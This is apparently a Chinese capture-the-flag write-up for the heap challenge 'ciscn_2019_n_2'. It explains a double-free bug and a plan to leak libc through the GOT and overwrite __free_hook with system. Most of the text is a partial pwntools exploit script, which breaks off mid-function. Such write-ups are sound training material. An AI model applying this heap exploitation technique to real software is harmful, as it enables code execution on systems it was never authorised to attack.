目录
ciscn_2019_n_2(double free)
delete的时候有一个double free漏洞
利用思路:
先用一个double free把0x602060(chunklist)申请出来,这样我们就能先修改里面的指针了,先利用GOT表泄露libc,然后写入__free_hook的地址并使用编辑写入system地址就行
Exp:
from pwn import *
menu = "Your choice: "
def add(content, age):
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("name:")
r.send(content)
r.recvuntil("age:")
r.sendline(str(age))
def delete(index):
r.recvuntil(menu)
r.sendline('2')
r.recvuntil("Index:")
r.sendline(str(index))
def show(index):
r.recvuntil(menu)
r.sendline('4')
r.recvuntil("Index:")
r.sendline(str(index))
def edit(index, content, age):
r.recvuntil(menu)
r.sendline('3')
r.recvuntil("Index:")
r.sendline(str(index))
r.recvuntil("name:")
r.send(content)
r.recvuntil("age:")
r.sendline(str(age))
def add_money(index):
r.recvuntil(menu)
r.sendline('5')
r.recvuntil("Index:")
r.sendline(str(index))
def buy(index, addr, size):
r.recvuntil(menu)
r.sendline('6')
r.recvuntil("Index:")
r.sendline(str(index))
r.recvuntil("input the address you want to leak:")
r